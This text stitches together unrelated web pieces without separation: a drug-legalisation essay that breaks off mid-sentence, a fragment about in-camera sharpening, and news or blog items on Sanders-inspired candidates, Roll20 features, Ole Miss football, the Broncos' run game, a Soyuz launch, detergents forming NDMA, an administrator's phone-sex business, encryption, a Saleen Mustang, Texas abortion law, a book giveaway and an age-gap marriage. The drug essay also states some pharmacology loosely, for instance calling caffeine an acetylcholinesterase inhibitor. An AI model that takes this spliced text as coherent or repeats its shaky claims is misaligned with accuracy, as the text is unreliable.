There is also an odd distinction made between drugs and food (and beverages), not just in this Act but in most cultures worldwide. Most people believe foods are somehow distinct from drugs, but most drugs can be absorbed by the digestive tract, meaning they can be consumed orally. Raw opium, psychedelic mushrooms, certain alcohol based or oil based marijuana extracts, and many other drugs that grow naturally can be eaten. Many products that are officially recognized as foods or beverages can have equally profound neurochemical effects on the brain as so-called “drugs.” Bovine milk and foods derived from it like cheese, for example, contain casein, (aged, expensive cheese usually contains more casein than cheap, young cheese) which breaks down into casomorphin, an opioid peptide, once ingested.
Certain sugars and chocolate can also have significant neurochemical effects. Chocolate increases neurotransmission of serotonin. Theobromine, the alkaloid of the cacao plant found in chocolate is a phosphodiesterase inhibitor. It is also made naturally by the body when caffeine is consumed. Caffeine, another drug/beverage, is a white crystalline alkaloid in its pure form and a psychomotor stimulant (like cocaine) that acts as an acetylcholinesterase inhibitor. Caffeine also increases neurotransmission of acetylcholine, dopamine, serotonin, glutamate, and other neurotransmitters. Chocolate and caffeine both have medical uses and long term effects on health. Of course, alcohol is another beverage with significant neurochemical effects. It affects GABA, serotonin, nicotinic acetylcholine, and glycine receptors. It also inhibits NMDA and other channels. Exercise also releases natural endogenous opiates. Does this mean we should outlaw cheese, caffeine (this has been done), physical exercise, or the very chemicals made naturally in our bodies? Of course, we shouldn’t. (Everyone would have to go to prison.) The distinction made between legal and illegal substances is not a rational, scientific, or consistent one, but one forced on us in every state.
More than one billion people on Earth – nearly one of every six – smoke tobacco, and about seven million people die from tobacco-related illness every year, which is about two million more than the number of people who died in the Second Congo War. Almost two million died from alcohol in 2011. Tobacco is the cause of 1 in 10 adult deaths, and it is the single most preventable cause of death according to the World Health Organization, yet every illicit drug combined only killed about 183,000 people worldwide in 2012.
This disparity in the death tolls is not caused by the legal status of either drug or even by differences in their potential to cause physical harm. The real reason legal drugs kill far more people is because they are aggressively marketed and people are misinformed about their health effects by greedy corporations and politicians who will talk endlessly about the dangers of cannabis, a drug that no one has ever died from (because it is virtually impossible to do so ) and not say a word about alcohol, tobacco, or pharmaceutical drugs because they generate tax revenue.
Many “anti-drug” crusaders believe that if illicit drugs were made legal they would kill just as many people as licit drugs but as mentioned cannabis has killed no one, and illicit, potentially lethal drugs would only kill as many people if corporations sold these drugs in the same ways that they do liquor and cigarettes and politicians supported them with subsidies, as they do with tobacco and alcohol companies. Anti-drug fundamentalists fundamentally misunderstand why people use and abuse drugs, and there is a difference. People know they shouldn’t regularly consume something that could eventually kill them. The only reason they do is because they either don’t know how dangerous it is or they are in pain and they don’t care about their health.
We don’t need a law about meth addiction any more than we do a law about drinking bleach. We do not declare war on cleaning products just because some are lethal if ingested. People who feel they very much need a coping mechanism abuse drugs, both licit and illicit, and the only reason licit ones are more often abused is because they are widely regarded as safer and more socially acceptable. But making certain substances illegal doesn’t prevent people who don’t care about their health from using them. Being against drug abuse and the suffering it causes also isn’t the same as being “anti-drug.” Being mad at a substance is beyond childish. The problems that create the will to abuse drugs should be targeted instead. One can be staunchly against drug abuse and support their legalization because if drugs are legalized and distributed in responsible ways this would prevent drug abuse, addiction, and indiscriminate violence from spreading.
There is no reason anyone should be incarcerated purely because of an addiction. Alcohol and tobacco addiction are treated as public health concerns, not criminal problems, (even though alcohol consumption significantly increases crime rates as well,) and all drugs should be treated as such. Free information ought to be available about every drug, their effects, and their potential consequences as well.
Just as drug laws don’t prevent many people from using them, they also don’t prevent their sale. The threat of prison means little to a hardened, poor drug dealer living in a slum with no other clear opportunities. Good education is costly and often necessary to get a good job, so poor drug dealers can either risk their freedom and lives and make enough or work at retail chains for minimum wage. Those are the two most available, evident options in many poor regions across the world. They are not offered the abundance of lucrative and satisfying opportunities that those with money are afforded. Selling drugs is hardly the “easy way out” because of the risks involved and it’s not fair to judge dealers so harshly when they are faced with such grim options.
Drug abuse and the peddling of hard drugs are not deterred by threatening or punishing people in pain. They are deterred by showing compassion and reducing the will for these acts by improving people’s lives, and we need to take the crime out of the drug trade in order for there to be less drug-related violence and addiction. People need to be better informed about drugs, their effects and their differences, and they need to be given a reason to value themselves and feel less self-destructive. Not all drugs are the same, and the cause of most overdoses is the widespread misconceptions about the differences between licit and illicit drugs. If alcohol and tobacco remained legal, but were never advertised or glorified, casual usage and addiction would decline.
When some people imagine the legalization of drugs, they picture billboards for heroin and TV ads for methamphetamine and certainly no one |
only adds permanent, ugly artifacts to your image.
Cool. I’m just going to bump up the sharpening by one tick. Sorry.
Are you sure you wouldn’t be better off with a hacked GH2?
One last strike against in-camera sharpening: It limits your ability to add additional sharpening in post. You don’t want to sharpen sharpening artifacts. You can see in the below comparison how even one notch of Sharpness adds ringing artifacts that will make sharpening in post problematic. These are 1:1 crops—you can download an archive of the full-res frames here.Does the Bernie Sanders 2016 "revolution" have staying power?
One answer may come on Tuesday, as first-time candidates, who still "feel the Bern," run for a range of political posts.
The longtime Vermont senator's loss to Democratic presidential nominee Hillary Clinton left some of his supporters feeling jaded with the electoral system. In July, some rallied for him at the Democratic National Convention (DNC) in Philadelphia, claiming they planned to desert the party in favor of third party candidates or write-in votes. As young voters championed his ideas and the Democratic platform swayed a little to the left to incorporate his policies, debates about how Mr. Sanders’s campaign, which garnered enthusiasm across the nation, would impact the race and the next four or eight years in the Oval Office have already begun.
But others say the "political revolution" is far from over and have heeded his calls to take part by running their own campaigns for city offices, state legislative positions, and even Congress.
"It isn’t unusual for that to happen when a candidate that comes up is just so invigorating," Tammy Vigil, a Boston University professor who specializes in campaign rhetoric, tells The Christian Science Monitor. "Especially for younger people who hadn’t even thought about a career in politics. He touted himself as a different kind of politician. His public persona is very down to earth."
Some Sanders voters who felt compelled by the senator's cause have floated the ideas of launching campaigns in the future. As the Monitor reported at the DNC, Sanders's supporters flocked from around the country to protest Mrs. Clinton's victory or celebrate the success of his unconventional grass-roots campaign. Jocelyn McGerty, a nurse from New York, said at the time that the campaign had pushed her to consider a career shift that would include a run for Congress.
"I might. I don’t know yet. I mean, at least it’s a shot in the right direction. I might, I don’t know. It’s an idea," she said.
Others have put that same idea to action.
Our Revolution, a nonprofit that aims to carry out Sanders’s ideas and legacy, has already vetted and backed more than 100 candidates for offices around the nation who are running on platforms that adopt concepts from the senator’s presidential bid. A minority are incumbents, and many are taking on opponents who receive money from corporate donors.
Since officially launching in August, the organization has received thousands of inquiries from Sanders supporters about running for office.
In turn, the organization – and Sanders himself – has been throwing support behind grass-roots candidates who espouse the same independent streak as Sanders. Take Zephyr Teachout, a law professor at Fordham University who is running for a New York seat in Congress. Ms. Teachout first attracted the interest of voters in 2014 when she ran a surprisingly successful campaign as a political newcomer against Andrew Cuomo in New York's gubernatorial Democratic primary. The author of "Corruption in America: From Benjamin Franklin's snuff box to Citizen United," she also previously worked with Occupy Wall Street.
"When it comes to taking on corruption and special interests, there's no one like Zephyr," Sanders said in a campaign email endorsing her. "She literally wrote the book on political corruption, and the Supreme Court justices who opposed Citizens United cited that work in their dissent."
There are also candidates running for local government who could implement his ideas about income inequality, such as Heidi Harmon. As a first-time candidate for mayor of San Luis Obispo, Calif., she’s expected to pose a serious challenge to an incumbent fellow Democrat.
"I just thought, 'This is what Bernie suggested. This is what Bernie is asking us to do,' " she told ABC News of her post-DNC decision to launch a campaign. While she isn’t one of the candidates backed by Our Revolution, Ms. Harmon has played a role as an environmental activist in the city of 45,000 for the past 30 years and felt compelled to bring Sanders’s ideas to her own city.
"If we really care that much, then going home and getting mad, well, hopefully that will be short and hopefully people will use those feelings of frustration and concern to get engaged," she said.
In many ways, these campaigns are direct reflections of Sanders’s rhetoric, as he continuously emphasized the importance of acting together to change Washington and eradicate inequalities within the wealth system.
"What my job is," he told The Washington Post in July of 2015, "is to help bring people together. You know, we’re not going to change the world overnight."
Some observers note a difference between Republican nominee Donald Trump's legacy as a political change agent and Sanders' legacy.
Sanders advocated for "changing the system from within and making our own contributions to the system, as opposed to Trump who seems to be selling more of contempt for the system and that there’s no fix for it unless he wins," Dr. Vigil says. "Bernie Sanders was a, 'We can come together to do this.' Whereas Donald Trump has said many times over, 'I am the only person who can fix it.' "
Whereas Sanders gave people hope to rewrite their current situation, Trump has attacked the political system with vitriol that has caused some of his voters to become disenchanted with the GOP and the electoral process. Some worry if his supporters, 43 percent of whom believe a Trump loss will prove the system is "rigged," will react with violence if the results aren’t in their favor.
While Sanders's popularity – and the arrival of a few more candidates in offices who back his policies – won't dictate an immediate rewriting of the Democratic Party platform, his influence may have the potential to reshape some aspects of the system.
"This could be a legacy in that if you want to shift the party, the party is not just running candidates for president," Robert Shapiro, a professor of political science at Columbia University, tells the Monitor. "The party is a party that runs candidates for offices."
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While the staying power of Sanders’s legacy will likely depend on the success of progressive policies, the state of the economy, and how he remains relevant in supporting other candidates, it’s possible that his rapport with a segment of American voters could last beyond this election.
"Sanders was able to shift the Democratic Party to the left if you look at the impact of him and his delegates," Dr. Shapiro says. "This could be a significant legacy."There's a new update out for everyone today that introduces some improvements to existing Roll20 features plus adds a new one we've very excited about. The Character Vault You'll now see a new link called "My Vault" (next to My Campaigns along the header). This new advanced feature allows you to store game pieces (currently, Characters) in a central place, so that you can then re-use them in other games. The neat twist on this is that you can use this feature as a player as well. For example, you can create a new Character in a Campaign, and then once that game is over, you can Import that Character into your Vault. Once it's there, you'll have the option to bring it over into another game down the road. This is great for society-style play where you want to keep the same Character between games throughout the whole season. It's also a great feature for GMs who might want to create a set of pre-generated PCs that they can quickly bring into future encounters, or a stable of interesting NPCs that they can pull from in any game. Note that in order to "export" the Character out of your Vault and into a new game, you must either be a GM for that game, or the game's owner must enable the new "Allow Players to Import Characters" toggle on the Campaign Settings page. More info on this new feature and how to use it is available on the Wiki Page for the My Vault feature. Note that the Vault is only available to Supporter and Mentor level subscribers, and it is an account-level feature (rather than a campaign-level feature), meaning players who want to have their own Vault of Characters need to have a subscription. Better Zoom We've long had a bit of a broken zoom feature, in that after you zoomed in you would end up in a different place on the map than where you started. Today we're pleased to announce that we've finally been able to conquer this bug. We've also switched to a handy zoom slider in the top-right portion of the game screen, as opposed to the zoom drop-down menu with its fixed zoom levels that we had before. You should now be able to smoothly slide in and out to your heart's content, confident that whatever is in the center of your screen will stay there whenever possible. In addition, keep in mind that you can hold down the Alt key while using the scrollwheel on your mouse if you have one to do the same thing as the zoom slider. Better Uploads We've re-worked the way that image uploads work for our drag-and-drop and avatar upload boxes. It puts much less strain on our servers and will open up the ability to support more image formats in the future. Let us know if it works better for you! LFG Changes We're instituting a change to the way that the LFG system works. Starting from today, only the first two game types that you have set for your campaign as "Playing" (e.g. D&D 4E) will be considered when providing search results. Some games were adding every single game type to their game and that wasn't the intent of the feature. We're also working behind-the-scenes to add additional smarter features, such as showing the timezone next to the time provided in the search result, and showing the time that the game was last updated so you can ignore stale results. Expect these changes to roll out over the next couple of days. Although this was a "minor" update, we think there are a lot of great improvements to Roll20 contained in it. Happy gaming!Future Football Schedules
OXFORD, Miss. - Ole Miss announced its 2015 football schedule Tuesday evening, after the Southeastern Conference unveiled the full league slate for next season.
The Rebels begin next season with back-to-back home games against UT Martin (Sept. 5) and Fresno State (Sept. 12) before kicking off league play in Tuscaloosa against the Alabama Crimson Tide (Sept. 19).
A matchup with Vanderbilt marks the SEC home opener on Sept. 26, while the Rebels also host SEC foes Texas A&M (Oct. 24), Arkansas (Nov. 7) and LSU (Nov. 21). League games on the road include Florida (Oct. 3), Auburn (Oct. 31) and Mississippi State (Nov. 28).
The other non-conference outings include a home game against New Mexico State (Oct. 10) and a return trip to Memphis (Oct. 17).
Each SEC team plays eight conference football games to include six games against division opponents and two games against non-division opponents. One of the non-division opponents is a permanent annual opponent and the other non-division opponent rotates each year.
The SEC announced in May the format for future football scheduling beginning in 2016 that will be a continuation of the existing format and adds a strength-of-schedule component that requires all schools to play an ACC, Big 12, Big Ten or Pac-12 opponent on an annual basis.
For the 24th consecutive year, the 2015 season will culminate with the SEC Championship Game on Saturday, December 6 at the Georgia Dome in Atlanta.
The complete list of 2015 football schedules can be found on the SEC's official website, SECsports.com.
OLE MISS 2015 FOOTBALL SCHEDULE
Sept. 5 UT MARTIN - White
Sept. 12 FRESNO STATE - Navy
Sept. 19 at Alabama - Navy
Sept. 26 VANDERBILT - Red
Oct. 3 at Florida - Red
Oct. 10 NEW MEXICO STATE - Red
Oct. 17 at Memphis - Red
Oct. 24 TEXAS A&M - Navy
Oct. 31 at Auburn - Red
Nov. 7 ARKANSAS - Navy
Nov. 21 LSU - Red
Nov. 28 at Mississippi State - Navy
*Colors indicate recommended attire for fans
Follow Ole Miss Football on Twitter (@OleMissFB) and Facebook (Facebook.com/OleMissFootball), in addition to www.OleMissSports.com.Justin Edmonds/Getty Images
Running the ball, playing physically along the offensive line and wearing down opposing defensive fronts (until they quit) goes against the tired narrative that the NFL is just a “passing league.”
However, in the playoffs, the teams that can utilize the run game to facilitate the entire offense usually advance and move on.
Take the Denver Broncos as they begin to prep for this Sunday’s AFC divisional-playoff matchup versus the Indianapolis Colts. Based on the tape I’ve watched, this team has become more balanced in the call sheet over the last two months of the regular season given the talent of running backs C.J. Anderson, Ronnie Hillman and Juwan Thompson.
Plus, the Broncos will bring a sixth offensive lineman onto the field—along with tight end Virgil Green—to hit defenses right in the mouth. That’s big-boy football for a team that now doesn’t have to live and die on the arm of quarterback Peyton Manning to consistently make plays.
Yes, Manning is still one of the major keys to another Super Bowl run in Denver. We should all agree there. But the Broncos can also establish tempo in this system running the football out of multiple personnel groupings.
How are the Broncos winning up front in the run game? Let’s start with their Ace/12 (2WR-2TE-1RB) “plus” personnel (bring a sixth offensive lineman on the field to replace a tight end).
Credit: NFL Game Rewind
The Broncos are in a Unit Wing alignment with Green (Y) in the game. This gives Denver the ability to run the stretch scheme and inside zone (both open and closed) along with the one-back power (pull guard up through the hole).
These are the same schemes we see in Dallas, Seattle, New England, etc., but here the Broncos are utilizing their “big” personnel to create running lanes for Anderson.
This is another look (same personnel on the field) as the Broncos align in a Strong I formation to attack the open side of the field on the Counter OF scheme with Hillman in the game (guard kicks out edge defender, H-back leads up through the hole).
Credit: NFL Game Rewind
Hillman can produce in this system, along with Thompson. But the way I see it, Anderson is the guy the Broncos should lean on during the postseason because of the skill set he brings to the stadium.
Anderson plays with balance, and he has the acceleration to get through the hole along with the lateral quickness to make defenders miss at the second level. Plus, Anderson is physical on contact because of his pad level. He isn’t shy about dropping a shoulder on defensive backs who come downhill to fill the hole.
Check out this example from Week 17 on the inside zone scheme with Posse/11 personnel (3WR-1TE-1RB) on the field.
Credit: NFL Game Rewind
As you can see, Anderson displays the acceleration to get up the field as he works through the second level before winning a one-on-one versus safety Charles Woodson to put this ball in the end zone.
One of my favorite runs from Anderson came back in Week 13 versus the Kansas City Chiefs in a fourth-down situation on the one-back power out of the shotgun.
Credit: NFL Game Rewind
The Broncos pull the backside guard, but the focus here should be on Anderson and his ability to bounce the ball to the edge. Don’t forget about the finish as Anderson drops a shoulder on the safety taking an angle to the ball.
What does all this talk about the run game mean for Manning?
For starters, it allows the quarterback to dictate the flow of the game even more from the line of scrimmage based on the pre-snap defensive look. That creates positive opportunities for Manning to go to work on opposing secondaries with Demaryius Thomas, Emmanuel Sanders, Wes Welker and Julius Thomas.
Depending on the front—and the coverage look—Manning can target one-on-one matchups versus a single-high safety or check to the run against two-deep to take advantage of the light box.
Andy Lyons/Getty Images
Plus, we can’t discount the play-action passing in the Broncos’ game plan that allows Manning to target open receivers (versus both zone and man coverage) with the second-level defenders removed.
There is no question Manning has to make throws for this team to beat the Colts on Sunday and advance in the playoffs, but with Anderson and the run game, the quarterback doesn’t have to sling the ball all over the field for this team to win.
Yes, that goes against the narratives out there, but I see a different Broncos team this time around in the playoffs. It is stronger at the point of attack, and the game plan truly has balance when it focuses on running the ball with Anderson.
That sells in the postseason for a Denver offensive unit that is built to win in January.
Seven-year NFL veteran Matt Bowen is an NFL National Lead Writer for Bleacher Report.
Follow @MattBowen41The launch of a Russian Soyuz rocket carrying three new crewmembers to the International Space Station has been scheduled for early Wednesday morning, the Russian space agency Roscosmos said Tuesday.
MOSCOW, March 25 (RIA Novosti) – The launch of a Russian Soyuz rocket carrying three new crewmembers to the International Space Station has been scheduled for early Wednesday morning, the Russian space agency Roscosmos said Tuesday.
The Soyuz-FG rocket will lift off at 1:17 a.m. Moscow time from the Baikonur space center in Kazakhstan at the same launch pad that hosted Yury Gagarin’s historic first manned spaceflight in 1961, Roscosmos said.
The Soyuz TMA-12M spacecraft carrying Russian cosmonauts Alexander Skvortsov and Oleg Artemyev as well as NASA astronaut Steven Swanson will follow an express flight path and dock with the station just six hours later.
The new crew is to conduct an extensive scientific program aboard the station and maintain a space blog of their daily life, in addition to overseeing maintenance operations including unloading a Russian Progress cargo vehicle and coordinating the docking of the European ATV-5 resupply craft.
The crew will also manually “launch” a Peruvian microsatellite during an upcoming spacewalk, by throwing it overboard by hand.
A spokesperson for the Russian military said 18 aircraft with search and rescue crews were preparing for the launch as a routine safety precaution.Household detergents, shampoos may form harmful substance in waste water
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Scientists are reporting evidence that certain ingredients in shampoo, detergents and other household cleaning agents may be a source of precursor materials for formation of a suspected cancer-causing contaminant in water supplies that receive water from sewage treatment plants. The study sheds new light on possible environmental sources of this poorly understood water contaminant, called NDMA, which is of ongoing concern to health officials. Their study is in ACS' Environmental Science & Technology, a semi-monthly journal. William Mitch and colleagues note that scientists have known that NDMA and other nitrosamines can form in small amounts during the disinfection of wastewater and water with chloramine. Although nitrosamines are found in a wide variety of sources — including processed meats and tobacco smoke — scientists know little about their precursors in water. Past studies with cosmetics have found that substances called quaternary amines, which are also ingredients in household cleaning agents, may play a role in the formation of nitrosamines.
Their laboratory research showed that when mixed with chloramine, some household cleaning products — including shampoo, dishwashing detergent and laundry detergent - formed NDMA. The report notes that sewage treatment plants may remove some of quaternary amines that form NDMA. However, quaternary amines are used in such large quantities that some still may persist and have a potentially harmful effect in the effluents from sewage treatment plants.Dec. 13 (UPI) -- The University of Colorado Denver has placed an administrator on leave after it appears that she may have been operating a phone sex business while she was on the clock at the school.
Resa Cooper-Morning, a cultural diversity coordinator at UCD, owns Msresa.com, a website offering nude, provocative photos of Cooper-Morning as well as videos starring the CU administrator with titles like “Ride Her Pony!” and “Vanilla Cocoa Butter Oil.”
Although the site does not appear to violate any university or state policies, it does contain a sex talk section that allows users to chat with Cooper-Morning for $1.49 a minute, Monday through Friday from 7:30 a.m. until late at night. Her work hours at UCD are 7 a.m. until 3 p.m. Monday through Friday.
Obviously the school is concerned that Cooper-Morning is engaging in “phone sex that will rock every part of your body!” while taxpayers are paying for her to be working on diversity at the university.
“The University of Colorado Denver takes this allegation very seriously,” said CU Denver Vice Chancellor of Communications Leanna Clark. “Under Colorado state statute, no employer has the right to restrict an employee’s legal, off-work activities,” She said the school “has initiated a thorough internal investigation.”
Cooper-Morning’s daughter-in-law, Blair Cooper, said she has seen the calls take place.
“She does it while she is working at CU Denver,” Cooper said. “She is taking calls at work. I’ve been in her office and she’s said, ‘Oh, let me be right back I have a phone call.’ She takes them very discreetly, shuts her door takes phone sex calls on CU of Denver’s pay.”
[CBS Denver]On top of that, politicians waste no time in exploiting this tragedy for their own cause: to pass anti-privacy laws they have wanted for years. Instead of strengthening French values - Liberté, Égalité, Fraternité - they want to undermine the human rights of all citizens and build an immense surveillance apparatus from which nothing can be hidden. One of the saddest things about this is that up to today, there is no proof that the surveillance done by Secret Services was able to hinder terrorist attacks.
Instead of watching the forest, police should focus on the trees
Instead, after each attack, it is revealed that most of the attackers were already known to the officials. Most terrorists have already been under some sort of surveillance, yet, no one predicted their attacks, no one stopped their horrible crimes. The only reasonable conclusion politicians should draw from this is that Secret Services and police forces need better ways to narrow down who of all possible threats is most likely the next attacker. This will not be achieved by monitoring everybody, but by focusing all powers on potential attackers. Instead of watching the forest - bulk metadata collection - Secret Services and the police should focus on the trees: individuals already known to the officials who pose a possible threat.
Encryption is not to blame
Politicians like to blame encryption and privacy-friendly tech companies to enable the terrorists to hide from being monitored. However, Glenn Greenwald described in detail how privacy-friendly tech companies are only convenient scapegoats when officials fail in preventing attacks.
The debate about banning encryption completely ignores the fact that most Secret Services have the possibility to track the phones of terrorist suspects; they can even hack phones and computers of potential attackers. Such a targeted attack might be more complicated, but it is very likely much more efficient than monitoring the entire communication of all innocent citizens.
Let us fight for our freedom
Strong end-to-end encryption is vital for keeping up the privacy of normal citizens and also for keeping up our fundamental values such as freedom and privacy that we as democratic societies stand for. The Electronis Frontier Foundation already warned that "any ‘backdoor’ into our communications will inevitably (and perhaps primarily) be used for illegal and repressive purposes rather than lawful ones”.
As much as we are all appalled by the shocking events in Paris, politicians should not use them to give up everybody’s freedom by creating an obtrusive surveillance state. If we follow down this path, the terrorists have already won.
Let's encrypt our communication instead to make mass surveillance of innocent citizens impossible.We’re not fans of war games, unless they involve horsepower. And we knew that once Dodge threw down the gauntlet with its 707-hp supercharged Hellcat V-8, the 700-plus-hp arena would see some incredible battles. Enter Saleen Automotive, Inc.—technically an OEM—with its new 2015 Mustang S302 Black Label. When it was announced last year, output of the car’s supercharged version of the Ford Mustang’s 5.0-liter Coyote V-8 was pegged at 640 horsepower. But as the car spun on the turntable before us at its official debut in Los Angeles last weekend, Saleen announced that the screw-type supercharger actually brings the Coyote’s output to a monstrous 730 horsepower and 600 lb-ft of torque—on 91 octane gasoline, no less. And if you live in a state where the fuel octanes are higher, the Black Label’s supercharged V-8 pumps out up to 750 horses. We will get more engine particulars from Saleen in coming weeks, but suffice it to say, the Black Label is the dark horse in the pony car battlefield, no pun intended.
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The monster V-8 can be paired either with a six-speed manual transmission, which offers a choice of 3.31:1, 3.55, or 3.73 final-drive ratios, or a paddle-shifted six-speed automatic with 3.15 or 3.55 rear ends. A limited-slip differential comes standard, and each engine gets its own serial number and, yes, a plaque! As with the S302 White and Yellow Label models, the Black Label rides on Saleen’s S4 high-performance suspension but adds unique front and rear shocks, while a fully adjustable coil-over suspension is optional. Brake discs measure 13.9 inches in front and 13.0 inches in back, clamped by four-piston front and single-piston rear calipers. Drilled and slotted 15.0-inch front rotors with six-piston calipers are a $3300 upgrade, and for another $500, the rear discs will grow to 14.0 inches with four-piston calipers. Saleen’s display vehicle wore Pirelli P Zero tires measuring 275/35 up front and 275/40 out back, wrapped around gorgeous five-spoke 20-inch wheels.
View Photos STEVE SILER, THE MANUFACTURER
Shown in shimmering gold paint called “California Sunset” with Saleen’s usual hash marks on the fenders, the Mustang S302 Black Label sat low on its big wheels, wearing a full skirt of angry-looking, slotted and scooped carbon-fiber aero bits that add approximately three and a half inches to the car’s overall length. A body-color rear spoiler hangs off the deck, and two of the Mustang’s vertical taillamps blades have been blackened, leaving only four visible, all joined by a gloss-black panel embossed with Saleen’s name. The Black Label’s hood is vented in multiple places, of course, but sadly, none get the trick, throttle-linked butterfly valves of its predecessors.
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The interior is upgraded with Katzkin leather upholstery, with the Saleen hash marks making another appearance on the seatback bolsters. The optional Signature edition interior treatment brings a leather-and-suede wrapped steering wheel, suede door panels, and a custom billet-and-leather shifter; all versions have Saleen’s signature on the passenger-side dash panel. Saleen will offer all S302s in tin-top coupe, glass-roof coupe, and ragtop convertible forms.
View Photos STEVE SILER, THE MANUFACTURER
While the Black Label’s power output is impressive, its actual performance remains a mystery. For its part, Saleen claims that it will keep up with all but the fastest Ferraris. Figure on a zero-to-60-mph time in the mid-three-second neighborhood, if one can keep the tires from evaporating at the slightest touch of the go pedal, that is. Saleen representatives acknowledge that more rubber may be needed to get all that power to the ground effectively, and it is looking at ways to fit tires as wide as 305s in the back, though that may require significant modifications to the chassis and/or the body.
As with the Hellcat, the S302 Black Label’s horsepower-per-dollar ratio is impressive—especially for such a rare car—at $73,214, including destination. Furthermore, Saleen says it will pay the estimated $2600 gas-guzzler tax on orders placed before the feds finish their paperwork, which it expects to happen by mid-April. For an even more screaming pony car deal, the aforementioned S302 Yellow Label uses the same supercharger and produces nearly as much power (715 horsepower and 595 lb-ft of torque) and does without some of the Black Label’s body, interior, and suspension bits for just $53,484, making it what Saleen considers the ultimate sleeper Stang.
We’ve been promised some seat time in Saleen’s new creation in coming months, by which point we should be able to tell you exactly how fast it is and, alas, if it can keep pace with the 199-mph Hellcat. Turns out wars can be cool after all—horsepower wars, anyway.Ahead of the biggest Supreme Court abortion case in decades, Samantha Bee's Full Frontal on Monday night featured an interview with Texas state Rep. Dan Flynn (R), one of the architects of the Texas anti-abortion law that the justices will rule on.
And Bee showed that Flynn doesn't know the basic facts about how an abortion is performed.
Flynn co-authored HB2, the omnibus anti-abortion bill that has closed about half of Texas's abortion clinics. If it's upheld, it will close even more clinics, and possibly inspire other states to get bolder with their anti-abortion lawmaking.
Bee started off by confronting Flynn about how his bill has forced abortion clinics to close:
Dan Flynn: This was to be sure that we provided health care, safe health care for women. Samantha Bee: How does removing access to health care increase access to health care? DF: We're not removing access to health care. We're improving it. SB: So the intention of the law was not to do away with abortions. DF: No. SB: It was just to make them impossible to acquire. DF: You know better than that. SB: Do I? DF: What do you mean impossible? I'll tell you what, anytime you start cutting on people's body you need to have it in a procedure where it can be healthy. SB: Of course. You don't cut a woman during an abortion, though.
Then Bee cut away to the infamous "Red Wedding" scene from Game of Thrones and said (spoiler alert): "To be fair, Flynn grew up in ancient Westeros, where they did abortions the old-fashioned way."
Westeros aside, Bee is right. Despite being called a "surgical abortion," most abortions don't actually require any surgery or cutting. Everything happens through the cervix, which is slightly dilated so a vacuum aspiration tube can pass through. A first-trimester abortion is an outpatient procedure that takes five to 10 minutes and is usually performed with mild sedation or local anesthesia.
"I'm not a doctor, I don't know," Flynn said after that. "But I listened to many doctors tell me about the procedures that happen when you do an invasive surgery."
"You don't seem to know anything specifically about abortion, really at all," Bee countered. "And yet you did all this with building regulations."
As Bee pointed out, HB2 wasn't exactly Flynn's brainchild even though he co-authored it. That credit goes to Americans United for Life, an anti-abortion lobbying group that prewrites model legislation for abortion opponents in state legislatures to use. Their efforts have helped launch a massive wave of anti-abortion lawmaking in the past five years.
If Flynn doesn't understand how abortion works, though, he's not alone. As Vox's new poll with PerryUndem Communications showed, most Americans have no idea that abortion is a very safe procedure.That Thorn Guy will celebrate its second birthday next Wednesday, 25th January 2017!
Gosh, this went fast! I can’t believe I’ve been running this site for two years now, but here it is. If you follow my posts you know that I’ve been experimenting with all sorts of Mark Lawrence related things, news, interviews, various competitions, etc, often not knowing whether all the time and energy I put into them would eventually pay off and they would attract much interest or gain any appreciation. Over 75,000 views during this two years in a way reassures me that it’s worth doing it and tells me that I must be doing something right, but I’d like to do it better if I can. For this reason this give-away is tied to receiving a little feedback from you. To take part and for a chance to win a signed (and/or dedicated) Advance Reading Copy of Red Sister (TWO on offer!) or a dedicated copy of the first edition (in both cases as soon as Mark receives them from the publisher) please answer at least two of the following questions in a comment under this post.
.
Where did you hear about the site? (if you can still remember) Was there anything you liked on/about this site since it’s opened – either in general or a particular feature (such as a contest, an interview, finding all the Broken Empire maps, reader arts, etc.)? Was there anything you didn’t like on/about this site? What else you’d like to see here or see more of in the future? Any other comments?
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The give-away will be closing at 8am GMT on 26th January 2017 and there will be three randomly selected winners.
Thank you for your entry and best of luck!
Agnes
Please note: your email address will be required for the submission but will NOT appear on the website!
(Alternatively you can also log in with your WordPress/Facebook/Twitter account)
Art by Pen Astridge Bastien Lecouffe Deharme based on‘s original cover art for Red Sister
.LOCKING lips with her hunky groom, Angela Nwachukwu beamed like a giddy teenager.
But this was the pensioner’s third attempt at marriage — and her hubby was 45 YEARS her junior.
HotSpot Media 14 Gran-of-six Angela with her husband CJ, 45 years her junior
Angela, 72, had met CJ, 27, just three months earlier after he added her on Facebook.
Her trip to his home country of Nigeria for their wedding was the first time they met face to face.
But Angela insists CJ is her soulmate and since they married has spent £20,000 visiting him and trying to get him into the UK.
The gran of six was devastated when CJ was denied a visa but says their marriage is solid despite the 4,000 miles between them.
Angela, a retired taxi driver from Dorchester, Dorset, says: “CJ is the most caring man any woman could want to be with.
“He makes me feel like the most beautiful woman in the world. I know in my heart we belong together and we won’t stop fighting until we can be together as husband and wife. We won’t let this break us.
HotSpot Media 14 Angela's trip to CJ's home country of Nigeria for their wedding was the first time they met face to face
HotSpot Media 14 The couple tied the knot three months after CJ added Angela on Facebook
“After the wedding, I found it hard leaving CJ. I knew I’d see him again soon but my family visa application was rejected.
“I was so determined to get him a visa I hired lawyers to fight for us. I’ve since visited him twice.
"We’ve spent a combined £20,000 trying to see each other. I’ve used my savings and he has gradually paid me back half.”
Angela had been single for six months following a 16-year relationship when she was contacted out of the blue by CJ.
HotSpot Media 14 Angela had been single for six months after a 16-year relationship when CJ messaged her
Angela says: “After my relationship ended, I felt lonely. We had become more like friends than partners so we had decided to split.
“After being single for six months, I saw a gorgeous young man had sent me a friend request on Facebook.
“I did wonder why he had added me but I accepted and he sent me a message telling me how lovely my profile photo was.
“He was so handsome, with big, brown eyes and a body to match. I didn’t see the harm in striking up a conversation with him.
“We chatted for hours about our families and hobbies. It was like we’d known each other for years. Before I knew it, we were messaging daily.
“The only problem was he was 45 years younger and lived 4,000 miles away in Nigeria.”
HotSpot Media 14 Angela was flattered when CJ told her how pretty her photos were on Facebook
HotSpot Media 14 CJ, who lives 4,000 miles away from Angela in Nigeria, is six years younger than her eldest grandchild
She knew the age gap might be frowned upon but she could not help falling for the computer engineer, who lives in the city of Owerri.
Angela, who has sons aged 50, 47 and 43, says: “Despite our huge age gap, we got on really well. I couldn’t help it and began to develop feelings for him. I tried to stop myself.
"He was six years younger than my oldest grandchild. But I couldn’t help falling for him.
“When I first told my son Malcolm about CJ, he was worried it might be a scam, so he checked him out online.
“After seeing how squeaky-clean his social media was, he felt he was genuine. They could all see how happy I was.
“We started chatting on Skype and I’d get butterflies when I saw his face on the computer. After a few weeks, CJ told me he had feelings for me. I was so happy.”
